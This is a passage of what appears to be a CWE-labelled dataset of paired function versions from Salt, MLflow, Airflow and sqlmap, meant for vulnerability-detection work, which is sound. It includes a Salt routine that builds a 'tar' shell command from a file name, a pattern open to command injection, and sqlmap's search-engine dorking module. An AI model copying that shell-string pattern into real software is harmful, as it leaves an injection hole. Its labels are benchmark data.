            log.debug('Untar {0} in {1}'.format(filename, name))

            results = __salt__['cmd.run_all']('tar {0} -f {1!r}'.format(
                tar_options, filename), cwd=name)
            if results['retcode'] != 0:
                ret['result'] = False
                ret['changes'] = results
                return ret
            if __salt__['cmd.retcode']('tar --version | grep bsdtar') == 0:
                files = results['stderr']
            else:
                files = results['stdout']
            if not files:
                files = 'no tar output so far'
    if len(files) > 0:
        ret['result'] = True
        ret['changes']['directories_created'] = [name]
        if if_missing != name:
            ret['changes']['directories_created'].append(if_missing)
        ret['changes']['extracted_files'] = files
        ret['comment'] = '{0} extracted in {1}'.format(source, name)
        if not keep:
            os.unlink(filename)
    else:
        __salt__['file.remove'](if_missing)
        ret['result'] = False
        ret['comment'] = 'Can\'t extract content of {0}'.format(source)
    return ret"
,UNKNOWN,UNKNOWN,tests/evaluate/logging/test_evaluation_logging.py,1,"def test_log_assessments_with_varying_formats(assessments):
    inputs = {""feature1"": 1.0, ""feature2"": 2.0}
    outputs = {""prediction"": 0.5}

    with mlflow.start_run() as run:
        logged_evaluation = log_evaluation(inputs=inputs, outputs=outputs)

        log_assessments(evaluation_id=logged_evaluation.evaluation_id, assessments=assessments)

        # Verify that the evaluation and assessments have been logged correctly
        run_id = run.info.run_id
        retrieved_evaluation = get_evaluation(
            evaluation_id=logged_evaluation.evaluation_id, run_id=run_id
        )

        # Convert the expected assessments to Assessment objects for comparison
        if isinstance(assessments, dict):
            expected_assessments = [Assessment.from_dictionary(assessments)]
        elif isinstance(assessments, list) and all(isinstance(a, dict) for a in assessments):
            expected_assessments = [Assessment.from_dictionary(a) for a in assessments]
        else:
            expected_assessments = assessments if isinstance(assessments, list) else [assessments]

        assert len(retrieved_evaluation.assessments) == len(expected_assessments)
        expected_assessment_entities = [
            assessment._to_entity(evaluation_id=logged_evaluation.evaluation_id)
            for assessment in expected_assessments
        ]
        for retrieved_assessment, assessment_entity in zip(
            retrieved_evaluation.assessments, expected_assessment_entities
        ):
            assert retrieved_assessment.name == assessment_entity.name
            assert retrieved_assessment.boolean_value == assessment_entity.boolean_value
            assert retrieved_assessment.numeric_value == assessment_entity.numeric_value
            assert retrieved_assessment.string_value == assessment_entity.string_value
            assert retrieved_assessment.metadata == assessment_entity.metadata
            assert retrieved_assessment.source == assessment_entity.source",CWE-703,mlflow/mlflow,77febaf92d686e1e43b3e5fe07d922327b91235d,"def test_log_assessments_with_varying_formats(assessments):
    inputs = {""feature1"": 1.0, ""feature2"": 2.0}
    outputs = {""prediction"": 0.5}

    with mlflow.start_run() as run:
        logged_evaluation = log_evaluation(inputs=inputs, outputs=outputs)

        log_assessments(evaluation_id=logged_evaluation.evaluation_id, assessments=assessments)

        # Verify that the evaluation and assessments have been logged correctly
        run_id = run.info.run_id
        retrieved_evaluation = get_evaluation(
            evaluation_id=logged_evaluation.evaluation_id, run_id=run_id
        )

        # Convert the expected assessments to Assessment objects for comparison
        if isinstance(assessments, dict):
            expected_assessments = [Assessment.from_dictionary(assessments)]
        elif isinstance(assessments, list) and all(isinstance(a, dict) for a in assessments):
            expected_assessments = [Assessment.from_dictionary(a) for a in assessments]
        else:
            expected_assessments = assessments if isinstance(assessments, list) else [assessments]

        assert len(retrieved_evaluation.assessments) == len(expected_assessments)
        expected_assessment_entities = [
            assessment._to_entity(evaluation_id=logged_evaluation.evaluation_id)
            for assessment in expected_assessments
        ]
        for retrieved_assessment, assessment_entity in zip(
            retrieved_evaluation.assessments, expected_assessment_entities
        ):
            assert retrieved_assessment.name == assessment_entity.name
            assert retrieved_assessment.boolean_value == assessment_entity.boolean_value
            assert retrieved_assessment.numeric_value == assessment_entity.numeric_value
            assert retrieved_assessment.string_value == assessment_entity.string_value
            assert retrieved_assessment.metadata == assessment_entity.metadata
            assert retrieved_assessment.source == assessment_entity.source"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/genai/experimental/databricks_trace_exporter.py,0,"def get_or_create_stream(self):
        """"""
        Factory method: Get or create a cached stream for current thread.

        Returns:
            An IngestApiStream instance ready for use
        """"""
        current_time = time.time()
        stream_cache = getattr(self._thread_local, ""stream_cache"", None)

        # Check if we have a cached stream
        if stream_cache and ""stream"" in stream_cache:
            stream = stream_cache[""stream""]

            from ingest_api_sdk.shared.definitions import StreamState

            # Invalidate the bad stream from the cache if stream is in a valid state
            if stream.get_state() not in [StreamState.OPENED, StreamState.FLUSHING]:
                _logger.debug(f""Stream in invalid state {stream.get_state()}, creating new stream"")
                self._thread_local.stream_cache = None

        # Return the valid stream if it wasn't invalidated
        if hasattr(self._thread_local, ""stream_cache"") and self._thread_local.stream_cache:
            return stream
        else:
            _logger.debug(""Creating new thread-local stream for Databricks Delta export"")
            ingest_sdk = create_archival_ingest_sdk()
            new_stream = ingest_sdk.create_stream(self.table_properties)

            # Store with metadata
            self._thread_local.stream_cache = {""stream"": new_stream, ""created_at"": current_time}

            return new_stream",,mlflow/mlflow,c2af0b8bf6b1be2bce56998cc94cc506a53e29ea,"def get_or_create_stream(self):
        """"""
        Factory method: Get or create a cached stream for current thread.

        Returns:
            An IngestApiStream instance ready for use
        """"""
        current_time = time.time()
        stream_cache = getattr(self._thread_local, ""stream_cache"", None)

        # Check if we have a cached stream
        if stream_cache and ""stream"" in stream_cache:
            stream = stream_cache[""stream""]

            # Check if stream is in a valid state
            is_invalid_state = hasattr(stream, ""state"") and str(stream.state) in [
                ""CLOSED"",
                ""FAILED"",
            ]

            if is_invalid_state:
                _logger.debug(f""Stream in invalid state {stream.state}, creating new stream"")
                # Invalidate the bad stream from the cache
                self._thread_local.stream_cache = None

        # Return the valid stream if it wasn't invalidated
        if hasattr(self._thread_local, ""stream_cache"") and self._thread_local.stream_cache:
            return stream
        else:
            _logger.debug(""Creating new thread-local stream for Databricks Delta export"")
            ingest_sdk = create_archival_ingest_sdk()
            new_stream = ingest_sdk.create_stream(self.table_properties)

            # Store with metadata
            self._thread_local.stream_cache = {""stream"": new_stream, ""created_at"": current_time}

            return new_stream"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/states/pbm.py,0,"def default_vsan_policy_configured(name, policy):
    """"""
    Configures the default VSAN policy on a vCenter.
    The state assumes there is only one default VSAN policy on a vCenter.

    policy
        Dict representation of a policy
    """"""
    # TODO Refactor when recurse_differ supports list_differ
    # It's going to make the whole thing much easier
    policy_copy = copy.deepcopy(policy)
    proxy_type = __salt__[""vsphere.get_proxy_type""]()
    log.trace(""proxy_type = %s"", proxy_type)
    # All allowed proxies have a shim execution module with the same
    # name which implementes a get_details function
    # All allowed proxies have a vcenter detail
    vcenter = __salt__[""{}.get_details"".format(proxy_type)]()[""vcenter""]
    log.info(""Running %s on vCenter '%s'"", name, vcenter)
    log.trace(""policy = %s"", policy)
    changes_required = False
    ret = {""name"": name, ""changes"": {}, ""result"": None, ""comment"": None}
    comments = []
    changes = {}
    changes_required = False
    si = None

    try:
        # TODO policy schema validation
        si = __salt__[""vsphere.get_service_instance_via_proxy""]()
        current_policy = __salt__[""vsphere.list_default_vsan_policy""](si)
        log.trace(""current_policy = {}"".format(current_policy))
        # Building all diffs between the current and expected policy
        # XXX We simplify the comparison by assuming we have at most 1
        # sub_profile
        if policy.get(""subprofiles""):
            if len(policy[""subprofiles""]) > 1:
                raise ArgumentValueError(
                    ""Multiple sub_profiles ({0}) are not ""
                    ""supported in the input policy""
                )
            subprofile = policy[""subprofiles""][0]
            current_subprofile = current_policy[""subprofiles""][0]
            capabilities_differ = list_diff(
                current_subprofile[""capabilities""],
                subprofile.get(""capabilities"", []),
                key=""id"",
            )
            del policy[""subprofiles""]
            if subprofile.get(""capabilities""):
                del subprofile[""capabilities""]
            del current_subprofile[""capabilities""]
            # Get the subprofile diffs without the capability keys
            subprofile_differ = recursive_diff(current_subprofile, dict(subprofile))

        del current_policy[""subprofiles""]
        policy_differ = recursive_diff(current_policy, policy)
        if policy_differ.diffs or capabilities_differ.diffs or subprofile_differ.diffs:

            if (
                ""name"" in policy_differ.new_values
                or ""description"" in policy_differ.new_values
            ):

                raise ArgumentValueError(
                    ""'name' and 'description' of the default VSAN policy ""
                    ""cannot be updated""
                )
            changes_required = True
            if __opts__[""test""]:
                str_changes = []
                if policy_differ.diffs:
                    str_changes.extend(
                        [change for change in policy_differ.changes_str.split(""\n"")]
                    )
                if subprofile_differ.diffs or capabilities_differ.diffs:
                    str_changes.append(""subprofiles:"")
                    if subprofile_differ.diffs:
                        str_changes.extend(
                            [
                                ""  {}"".format(change)
                                for change in subprofile_differ.changes_str.split(""\n"")
                            ]
                        )
                    if capabilities_differ.diffs:
                        str_changes.append(""  capabilities:"")
                        str_changes.extend(
                            [
                                ""  {}"".format(change)
                                for change in capabilities_differ.changes_str2.split(
                                    ""\n""
                                )
                            ]
                        )
                comments.append(
                    ""State {} will update the default VSAN policy on ""
                    ""vCenter '{}':\n{}""
                    """".format(name, vcenter, ""\n"".join(str_changes))
                )
            else:
                __salt__[""vsphere.update_storage_policy""](
                    policy=current_policy[""name""],
                    policy_dict=policy_copy,
                    service_instance=si,
                )
                comments.append(
                    ""Updated the default VSAN policy in vCenter '{}'"".format(vcenter)
                )
            log.info(comments[-1])

            new_values = policy_differ.new_values
            new_values[""subprofiles""] = [subprofile_differ.new_values]
            new_values[""subprofiles""][0][
                ""capabilities""
            ] = capabilities_differ.new_values
            if not new_values[""subprofiles""][0][""capabilities""]:
                del new_values[""subprofiles""][0][""capabilities""]
            if not new_values[""subprofiles""][0]:
                del new_values[""subprofiles""]
            old_values = policy_differ.old_values
            old_values[""subprofiles""] = [subprofile_differ.old_values]
            old_values[""subprofiles""][0][
                ""capabilities""
            ] = capabilities_differ.old_values
            if not old_values[""subprofiles""][0][""capabilities""]:
                del old_values[""subprofiles""][0][""capabilities""]
            if not old_values[""subprofiles""][0]:
                del old_values[""subprofiles""]
            changes.update(
                {""default_vsan_policy"": {""new"": new_values, ""old"": old_values}}
            )
            log.trace(changes)
        __salt__[""vsphere.disconnect""](si)
    except CommandExecutionError as exc:
        log.error(""Error: {}"".format(exc))
        if si:
            __salt__[""vsphere.disconnect""](si)
        if not __opts__[""test""]:
            ret[""result""] = False
        ret.update(
            {""comment"": exc.strerror, ""result"": False if not __opts__[""test""] else None}
        )
        return ret
    if not changes_required:
        # We have no changes
        ret.update(
            {
                ""comment"": (
                    ""Default VSAN policy in vCenter ""
                    ""'{}' is correctly configured. ""
                    ""Nothing to be done."".format(vcenter)
                ),
                ""result"": True,
            }
        )
    else:
        ret.update(
            {
                ""comment"": ""\n"".join(comments),
                ""changes"": changes,
                ""result"": None if __opts__[""test""] else True,
            }
        )
    return ret",,saltstack/salt,fd05f3876c2cba1f5485e69e58ea43f1b2247cdf,"def default_vsan_policy_configured(name, policy):
    """"""
    Configures the default VSAN policy on a vCenter.
    The state assumes there is only one default VSAN policy on a vCenter.

    policy
        Dict representation of a policy
    """"""
    # TODO Refactor when recurse_differ supports list_differ
    # It's going to make the whole thing much easier
    policy_copy = copy.deepcopy(policy)
    proxy_type = __salt__[""vsphere.get_proxy_type""]()
    log.trace(""proxy_type = {}"".format(proxy_type))
    # All allowed proxies have a shim execution module with the same
    # name which implementes a get_details function
    # All allowed proxies have a vcenter detail
    vcenter = __salt__[""{}.get_details"".format(proxy_type)]()[""vcenter""]
    log.info(""Running {} on vCenter "" ""'{}'"".format(name, vcenter))
    log.trace(""policy = {}"".format(policy))
    changes_required = False
    ret = {""name"": name, ""changes"": {}, ""result"": None, ""comment"": None}
    comments = []
    changes = {}
    changes_required = False
    si = None

    try:
        # TODO policy schema validation
        si = __salt__[""vsphere.get_service_instance_via_proxy""]()
        current_policy = __salt__[""vsphere.list_default_vsan_policy""](si)
        log.trace(""current_policy = {}"".format(current_policy))
        # Building all diffs between the current and expected policy
        # XXX We simplify the comparison by assuming we have at most 1
        # sub_profile
        if policy.get(""subprofiles""):
            if len(policy[""subprofiles""]) > 1:
                raise ArgumentValueError(
                    ""Multiple sub_profiles ({0}) are not ""
                    ""supported in the input policy""
                )
            subprofile = policy[""subprofiles""][0]
            current_subprofile = current_policy[""subprofiles""][0]
            capabilities_differ = list_diff(
                current_subprofile[""capabilities""],
                subprofile.get(""capabilities"", []),
                key=""id"",
            )
            del policy[""subprofiles""]
            if subprofile.get(""capabilities""):
                del subprofile[""capabilities""]
            del current_subprofile[""capabilities""]
            # Get the subprofile diffs without the capability keys
            subprofile_differ = recursive_diff(current_subprofile, dict(subprofile))

        del current_policy[""subprofiles""]
        policy_differ = recursive_diff(current_policy, policy)
        if policy_differ.diffs or capabilities_differ.diffs or subprofile_differ.diffs:

            if (
                ""name"" in policy_differ.new_values
                or ""description"" in policy_differ.new_values
            ):

                raise ArgumentValueError(
                    ""'name' and 'description' of the default VSAN policy ""
                    ""cannot be updated""
                )
            changes_required = True
            if __opts__[""test""]:
                str_changes = []
                if policy_differ.diffs:
                    str_changes.extend(
                        [change for change in policy_differ.changes_str.split(""\n"")]
                    )
                if subprofile_differ.diffs or capabilities_differ.diffs:
                    str_changes.append(""subprofiles:"")
                    if subprofile_differ.diffs:
                        str_changes.extend(
                            [
                                ""  {}"".format(change)
                                for change in subprofile_differ.changes_str.split(""\n"")
                            ]
                        )
                    if capabilities_differ.diffs:
                        str_changes.append(""  capabilities:"")
                        str_changes.extend(
                            [
                                ""  {}"".format(change)
                                for change in capabilities_differ.changes_str2.split(
                                    ""\n""
                                )
                            ]
                        )
                comments.append(
                    ""State {} will update the default VSAN policy on ""
                    ""vCenter '{}':\n{}""
                    """".format(name, vcenter, ""\n"".join(str_changes))
                )
            else:
                __salt__[""vsphere.update_storage_policy""](
                    policy=current_policy[""name""],
                    policy_dict=policy_copy,
                    service_instance=si,
                )
                comments.append(
                    ""Updated the default VSAN policy in vCenter "" ""'{}'"".format(vcenter)
                )
            log.info(comments[-1])

            new_values = policy_differ.new_values
            new_values[""subprofiles""] = [subprofile_differ.new_values]
            new_values[""subprofiles""][0][
                ""capabilities""
            ] = capabilities_differ.new_values
            if not new_values[""subprofiles""][0][""capabilities""]:
                del new_values[""subprofiles""][0][""capabilities""]
            if not new_values[""subprofiles""][0]:
                del new_values[""subprofiles""]
            old_values = policy_differ.old_values
            old_values[""subprofiles""] = [subprofile_differ.old_values]
            old_values[""subprofiles""][0][
                ""capabilities""
            ] = capabilities_differ.old_values
            if not old_values[""subprofiles""][0][""capabilities""]:
                del old_values[""subprofiles""][0][""capabilities""]
            if not old_values[""subprofiles""][0]:
                del old_values[""subprofiles""]
            changes.update(
                {""default_vsan_policy"": {""new"": new_values, ""old"": old_values}}
            )
            log.trace(changes)
        __salt__[""vsphere.disconnect""](si)
    except CommandExecutionError as exc:
        log.error(""Error: {}"".format(exc))
        if si:
            __salt__[""vsphere.disconnect""](si)
        if not __opts__[""test""]:
            ret[""result""] = False
        ret.update(
            {""comment"": exc.strerror, ""result"": False if not __opts__[""test""] else None}
        )
        return ret
    if not changes_required:
        # We have no changes
        ret.update(
            {
                ""comment"": (
                    ""Default VSAN policy in vCenter ""
                    ""'{}' is correctly configured. ""
                    ""Nothing to be done."".format(vcenter)
                ),
                ""result"": True,
            }
        )
    else:
        ret.update(
            {
                ""comment"": ""\n"".join(comments),
                ""changes"": changes,
                ""result"": None if __opts__[""test""] else True,
            }
        )
    return ret"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/channel/server.py,0,"def __init__(self, opts, transport):
        self.opts = opts
        self.transport = transport
        self.event = None",,saltstack/salt,1d0fcee9c152af429cbcba035ada0c6f10663199,"def __init__(self, opts, transport):
        self.opts = opts
        self.transport = transport"
,UNKNOWN,UNKNOWN,tests/decorators/test_setup_teardown.py,1,"def test_marking_operator_as_teardown_task(self, dag_maker):
        with dag_maker() as dag:
            BashOperator.as_teardown(task_id=""mytask"", bash_command='echo ""I am a setup task""')

        assert len(dag.task_group.children) == 1
        teardown_task = dag.task_group.children[""mytask""]
        assert teardown_task._is_teardown",CWE-703,apache/airflow,c76555930aee9692d2a839b9c7b9e2220717b8a0,"def test_marking_operator_as_teardown_task(self, dag_maker):
        with dag_maker() as dag:
            BashOperator.as_teardown(task_id=""mytask"", bash_command='echo ""I am a setup task""')

        assert len(dag.task_group.children) == 1
        teardown_task = dag.task_group.children[""mytask""]
        assert teardown_task._is_teardown"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/utils/search.py,0,"def _search(dork):
    """"""
    This method performs the effective search on Google providing
    the google dork and the Google session cookie
    """"""

    if not dork:
        return None

    page = None
    data = None
    requestHeaders = {}
    responseHeaders = {}

    requestHeaders[HTTP_HEADER.USER_AGENT] = dict(conf.httpHeaders).get(HTTP_HEADER.USER_AGENT, DUMMY_SEARCH_USER_AGENT)
    requestHeaders[HTTP_HEADER.ACCEPT_ENCODING] = HTTP_ACCEPT_ENCODING_HEADER_VALUE

    try:
        req = _urllib.request.Request(""https://www.google.com/ncr"", headers=requestHeaders)
        conn = _urllib.request.urlopen(req)
    except Exception as ex:
        errMsg = ""unable to connect to Google ('%s')"" % getSafeExString(ex)
        raise SqlmapConnectionException(errMsg)

    gpage = conf.googlePage if conf.googlePage > 1 else 1
    logger.info(""using search result page #%d"" % gpage)

    url = ""https://www.google.com/search?""
    url += ""q=%s&"" % urlencode(dork, convall=True)
    url += ""num=100&hl=en&complete=0&safe=off&filter=0&btnG=Search""
    url += ""&start=%d"" % ((gpage - 1) * 100)

    try:
        req = _urllib.request.Request(url, headers=requestHeaders)
        conn = _urllib.request.urlopen(req)

        requestMsg = ""HTTP request:\nGET %s"" % url
        requestMsg += "" %s"" % _http_client.HTTPConnection._http_vsn_str
        logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)

        page = conn.read()
        code = conn.code
        status = conn.msg
        responseHeaders = conn.info()

        responseMsg = ""HTTP response (%s - %d):\n"" % (status, code)

        if conf.verbose <= 4:
            responseMsg += getUnicode(responseHeaders, UNICODE_ENCODING)
        elif conf.verbose > 4:
            responseMsg += ""%s\n%s\n"" % (responseHeaders, page)

        logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)
    except _urllib.error.HTTPError as ex:
        try:
            page = ex.read()
            responseHeaders = ex.info()
        except Exception as _:
            warnMsg = ""problem occurred while trying to get ""
            warnMsg += ""an error page information (%s)"" % getSafeExString(_)
            logger.critical(warnMsg)
            return None
    except (_urllib.error.URLError, _http_client.error, socket.error, socket.timeout, socks.ProxyError):
        errMsg = ""unable to connect to Google""
        raise SqlmapConnectionException(errMsg)

    page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE))

    retVal = [_urllib.parse.unquote(match.group(1) or match.group(2)) for match in re.finditer(GOOGLE_REGEX, page, re.I)]

    if not retVal and ""detected unusual traffic"" in page:
        warnMsg = ""Google has detected 'unusual' traffic from ""
        warnMsg += ""used IP address disabling further searches""

        if conf.proxyList:
            raise SqlmapBaseException(warnMsg)
        else:
            logger.critical(warnMsg)

    if not retVal:
        message = ""no usable links found. What do you want to do?""
        message += ""\n[1] (re)try with DuckDuckGo (default)""
        message += ""\n[2] (re)try with Bing""
        message += ""\n[3] quit""
        choice = readInput(message, default='1')

        if choice == '3':
            raise SqlmapUserQuitException
        elif choice == '2':
            url = ""https://www.bing.com/search?q=%s&first=%d"" % (urlencode(dork, convall=True), (gpage - 1) * 10 + 1)
            regex = BING_REGEX
        else:
            url = ""https://duckduckgo.com/html/""
            data = ""q=%s&s=%d"" % (urlencode(dork, convall=True), (gpage - 1) * 30)
            regex = DUCKDUCKGO_REGEX

        try:
            req = _urllib.request.Request(url, data=data.encode(""utf-8""), headers=requestHeaders)
            conn = _urllib.request.urlopen(req)

            requestMsg = ""HTTP request:\nGET %s"" % url
            requestMsg += "" %s"" % _http_client.HTTPConnection._http_vsn_str
            logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)

            page = conn.read()
            code = conn.code
            status = conn.msg
            responseHeaders = conn.info()
            page = decodePage(page, responseHeaders.get(""Content-Encoding""), responseHeaders.get(""Content-Type""))

            responseMsg = ""HTTP response (%s - %d):\n"" % (status, code)

            if conf.verbose <= 4:
                responseMsg += getUnicode(responseHeaders, UNICODE_ENCODING)
            elif conf.verbose > 4:
                responseMsg += ""%s\n%s\n"" % (responseHeaders, page)

            logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)
        except _urllib.error.HTTPError as ex:
            try:
                page = ex.read()
                page = decodePage(page, ex.headers.get(""Content-Encoding""), ex.headers.get(""Content-Type""))
            except socket.timeout:
                warnMsg = ""connection timed out while trying ""
                warnMsg += ""to get error page information (%d)"" % ex.code
                logger.critical(warnMsg)
                return None
        except:
            errMsg = ""unable to connect""
            raise SqlmapConnectionException(errMsg)

        retVal = [_urllib.parse.unquote(match.group(1).replace(""&amp;"", ""&"")) for match in re.finditer(regex, page, re.I | re.S)]

        if not retVal and ""issue with the Tor Exit Node you are currently using"" in page:
            warnMsg = ""DuckDuckGo has detected 'unusual' traffic from ""
            warnMsg += ""used (Tor) IP address""

            if conf.proxyList:
                raise SqlmapBaseException(warnMsg)
            else:
                logger.critical(warnMsg)

    return retVal",,sqlmapproject/sqlmap,a6c26fe7926b21aea774f97a1c08e517c14f764b,"def _search(dork):
    """"""
    This method performs the effective search on Google providing
    the google dork and the Google session cookie
    """"""

    if not dork:
        return None

    page = None
    data = None
    requestHeaders = {}
    responseHeaders = {}

    requestHeaders[HTTP_HEADER.USER_AGENT] = dict(conf.httpHeaders).get(HTTP_HEADER.USER_AGENT, DUMMY_SEARCH_USER_AGENT)
    requestHeaders[HTTP_HEADER.ACCEPT_ENCODING] = HTTP_ACCEPT_ENCODING_HEADER_VALUE

    try:
        req = _urllib.request.Request(""https://www.google.com/ncr"", headers=requestHeaders)
        conn = _urllib.request.urlopen(req)
    except Exception as ex:
        errMsg = ""unable to connect to Google ('%s')"" % getSafeExString(ex)
        raise SqlmapConnectionException(errMsg)

    gpage = conf.googlePage if conf.googlePage > 1 else 1
    logger.info(""using search result page #%d"" % gpage)

    url = ""https://www.google.com/search?""
    url += ""q=%s&"" % urlencode(dork, convall=True)
    url += ""num=100&hl=en&complete=0&safe=off&filter=0&btnG=Search""
    url += ""&start=%d"" % ((gpage - 1) * 100)

    try:
        req = _urllib.request.Request(url, headers=requestHeaders)
        conn = _urllib.request.urlopen(req)

        requestMsg = ""HTTP request:\nGET %s"" % url
        requestMsg += "" %s"" % _http_client.HTTPConnection._http_vsn_str
        logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)

        page = conn.read()
        code = conn.code
        status = conn.msg
        responseHeaders = conn.info()

        responseMsg = ""HTTP response (%s - %d):\n"" % (status, code)

        if conf.verbose <= 4:
            responseMsg += getUnicode(responseHeaders, UNICODE_ENCODING)
        elif conf.verbose > 4:
            responseMsg += ""%s\n%s\n"" % (responseHeaders, page)

        logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)
    except _urllib.error.HTTPError as ex:
        try:
            page = ex.read()
            responseHeaders = ex.info()
        except Exception as _:
            warnMsg = ""problem occurred while trying to get ""
            warnMsg += ""an error page information (%s)"" % getSafeExString(_)
            logger.critical(warnMsg)
            return None
    except (_urllib.error.URLError, _http_client.error, socket.error, socket.timeout, socks.ProxyError):
        errMsg = ""unable to connect to Google""
        raise SqlmapConnectionException(errMsg)

    page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE))

    retVal = [_urllib.parse.unquote(match.group(1) or match.group(2)) for match in re.finditer(GOOGLE_REGEX, page, re.I)]

    if not retVal and ""detected unusual traffic"" in page:
        warnMsg = ""Google has detected 'unusual' traffic from ""
        warnMsg += ""used IP address disabling further searches""

        if conf.proxyList:
            raise SqlmapBaseException(warnMsg)
        else:
            logger.critical(warnMsg)

    if not retVal:
        message = ""no usable links found. What do you want to do?""
        message += ""\n[1] (re)try with DuckDuckGo (default)""
        message += ""\n[2] (re)try with Bing""
        message += ""\n[3] quit""
        choice = readInput(message, default='1')

        if choice == '3':
            raise SqlmapUserQuitException
        elif choice == '2':
            url = ""https://www.bing.com/search?q=%s&first=%d"" % (urlencode(dork, convall=True), (gpage - 1) * 10 + 1)
            regex = BING_REGEX
        else:
            url = ""https://duckduckgo.com/html/""
            data = ""q=%s&s=%d"" % (urlencode(dork, convall=True), (gpage - 1) * 30)
            regex = DUCKDUCKGO_REGEX

        try:
            req = _urllib.request.Request(url, data=data, headers=requestHeaders)
            conn = _urllib.request.urlopen(req)

            requestMsg = ""HTTP request:\nGET %s"" % url
            requestMsg += "" %s"" % _http_client.HTTPConnection._http_vsn_str
            logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)

            page = conn.read()
            code = conn.code
            status = conn.msg
            responseHeaders = conn.info()
            page = decodePage(page, responseHeaders.get(""Content-Encoding""), responseHeaders.get(""Content-Type""))

            responseMsg = ""HTTP response (%s - %d):\n"" % (status, code)

            if conf.verbose <= 4:
                responseMsg += getUnicode(responseHeaders, UNICODE_ENCODING)
            elif conf.verbose > 4:
                responseMsg += ""%s\n%s\n"" % (responseHeaders, page)

            logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)
        except _urllib.error.HTTPError as ex:
            try:
                page = ex.read()
                page = decodePage(page, ex.headers.get(""Content-Encoding""), ex.headers.get(""Content-Type""))
            except socket.timeout:
                warnMsg = ""connection timed out while trying ""
                warnMsg += ""to get error page information (%d)"" % ex.code
                logger.critical(warnMsg)
                return None
        except:
            errMsg = ""unable to connect""
            raise SqlmapConnectionException(errMsg)

        retVal = [_urllib.parse.unquote(match.group(1).replace(""&amp;"", ""&"")) for match in re.finditer(regex, page, re.I | re.S)]

        if not retVal and ""issue with the Tor Exit Node you are currently using"" in page:
            warnMsg = ""DuckDuckGo has detected 'unusual' traffic from ""
            warnMsg += ""used (Tor) IP address""

            if conf.proxyList:
                raise SqlmapBaseException(warnMsg)
            else:
                logger.critical(warnMsg)

    return retVal"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/utils/s3.py,0,"def query(key, keyid, method='GET', params=None, headers=None,
          requesturl=None, return_url=False, bucket=None, service_url=None,
          path='', return_bin=False, action=None, local_file=None,
          verify_ssl=True, location=None, full_headers=False, role_arn=None,
          chunk_size=16384):
    '''
    Perform a query against an S3-like API. This function requires that a
    secret key and the id for that key are passed in. For instance:

        s3.keyid: GKTADJGHEIQSXMKKRBJ08H
        s3.key: askdjghsdfjkghWupUjasdflkdfklgjsdfjajkghs

    If keyid or key is not specified, an attempt to fetch them from EC2 IAM
    metadata service will be made.

    A service_url may also be specified in the configuration:

        s3.service_url: s3.amazonaws.com

    If a service_url is not specified, the default is s3.amazonaws.com. This
    may appear in various documentation as an ""endpoint"". A comprehensive list
    for Amazon S3 may be found at::

        http://docs.aws.amazon.com/general/latest/gr/rande.html#s3_region

    The service_url will form the basis for the final endpoint that is used to
    query the service.

    SSL verification may also be turned off in the configuration:

    s3.verify_ssl: False

    This is required if using S3 bucket names that contain a period, as
    these will not match Amazon's S3 wildcard certificates. Certificate
    verification is enabled by default.

    A region may be specified:

        s3.location: eu-central-1

    If region is not specified, an attempt to fetch the region from EC2 IAM
    metadata service will be made. Failing that, default is us-east-1
    '''
    if not HAS_REQUESTS:
        log.error('There was an error: requests is required for s3 access')

    if not headers:
        headers = {}

    if not params:
        params = {}

    if not service_url:
        service_url = 's3.amazonaws.com'

    if bucket:
        endpoint = '{0}.{1}'.format(bucket, service_url)
    else:
        endpoint = service_url

    # Try grabbing the credentials from the EC2 instance IAM metadata if available
    if not key:
        key = salt.utils.aws.IROLE_CODE

    if not keyid:
        keyid = salt.utils.aws.IROLE_CODE

    if not location:
        location = salt.utils.aws.get_location()

    data = ''
    payload_hash = None
    if method == 'PUT':
        if local_file:
            payload_hash = salt.utils.get_hash(local_file, form='sha256')

    if not requesturl:
        requesturl = 'https://{0}/{1}'.format(endpoint, path)
        headers, requesturl = salt.utils.aws.sig4(
            method,
            endpoint,
            params,
            data=data,
            uri='/{0}'.format(path),
            prov_dict={'id': keyid, 'key': key},
            role_arn=role_arn,
            location=location,
            product='s3',
            requesturl=requesturl,
            payload_hash=payload_hash,
        )

    log.debug('S3 Request: {0}'.format(requesturl))
    log.debug('S3 Headers::')
    log.debug('    Authorization: {0}'.format(headers['Authorization']))

    if not data:
        data = None

    response = None
    if method == 'PUT':
        if local_file:
            with salt.utils.fopen(local_file, 'r') as data:
                result = requests.request(method,
                                          requesturl,
                                          headers=headers,
                                          data=data,
                                          verify=verify_ssl,
                                          stream=True)
        response = result.content
    elif method == 'GET' and local_file and not return_bin:
        result = requests.request(method,
                                  requesturl,
                                  headers=headers,
                                  data=data,
                                  verify=verify_ssl,
                                  stream=True)
    else:
        result = requests.request(method,
                                  requesturl,
                                  headers=headers,
                                  data=data,
                                  verify=verify_ssl)
        response = result.content
    if result.status_code >= 400:
        # On error the S3 API response should contain error message
        log.debug('    Response content: {0}'.format(response))

    log.debug('S3 Response Status Code: {0}'.format(result.status_code))

    if method == 'PUT':
        if result.status_code == 200:
            if local_file:
                log.debug('Uploaded from {0} to {1}'.format(local_file, path))
            else:
                log.debug('Created bucket {0}'.format(bucket))
        else:
            if local_file:
                log.debug('Failed to upload from {0} to {1}: {2}'.format(
                                                    local_file,
                                                    path,
                                                    result.status_code,
                                                    ))
            else:
                log.debug('Failed to create bucket {0}'.format(bucket))
        return

    if method == 'DELETE':
        if str(result.status_code).startswith('2'):
            if path:
                log.debug('Deleted {0} from bucket {1}'.format(path, bucket))
            else:
                log.debug('Deleted bucket {0}'.format(bucket))
        else:
            if path:
